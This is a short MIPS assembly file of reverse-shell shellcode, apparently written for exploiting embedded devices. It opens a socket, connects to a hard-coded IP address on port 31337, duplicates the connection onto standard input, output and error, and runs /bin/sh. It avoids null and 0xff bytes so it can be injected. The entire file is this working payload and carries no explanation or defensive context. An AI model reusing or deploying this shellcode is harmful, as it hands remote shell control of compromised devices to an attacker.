mips_shellcode_new.s

# hdarwin @ hacklab
# @hdarwin89
# bad character : 00 ff
# socket connect dup dup dup execve
.global main
main:
    li $s3, 0x5252
    sub $a0, $s3, 0x5250
    sub $a1, $s3, 0x5250
    sub $a2, $s3, 0x5252
    li $v0, 4183
    syscall 0x42424

    add $a0, $v0, 0x4242
    sub $a0, $a0, 0x4242
    sub $t6, $s3, 0x5250
    sw $t6, 0x212($sp)

    #port 31337
    lui $t6, 0x7a69
    ori $t6, $t6, 0x7a69
    sw $t6, 0x216($sp)

    #ip
    lui $t6, 0x2d38
    ori $t6, $t6, 0x4749
    sw $t6, 0x218($sp)

    addi $a1, $sp, 0x214
    sub $a2, $s3, 0x5242
    li $v0, 4170
    syscall 0x42424

    sub $a0, $s3, 0x524d
    sub $a1, $s3, 0x5250
    li $v0, 4063
    syscall 0x42424
    sub $a1, $s3, 0x5251
    li $v0, 4063
    syscall 0x42424
    sub $a1, $s3, 0x5252
    li $v0, 4063
    syscall 0x42424

    lui $t7, 0x2f62
    ori $t7, $t7, 0x696e
    sw $t7, 304($sp)
    lui $t7, 0x2f73
    ori $t7, 0x6868
    sw $t7, 308($sp)
    sb $a1, 311($sp)
    add $a0, $sp, 304
    sw $a0, 404($sp)
    add $a1, $sp, 404
    sub $a2, $s3, 0x5252
    li $v0, 4011
    syscall 0x42424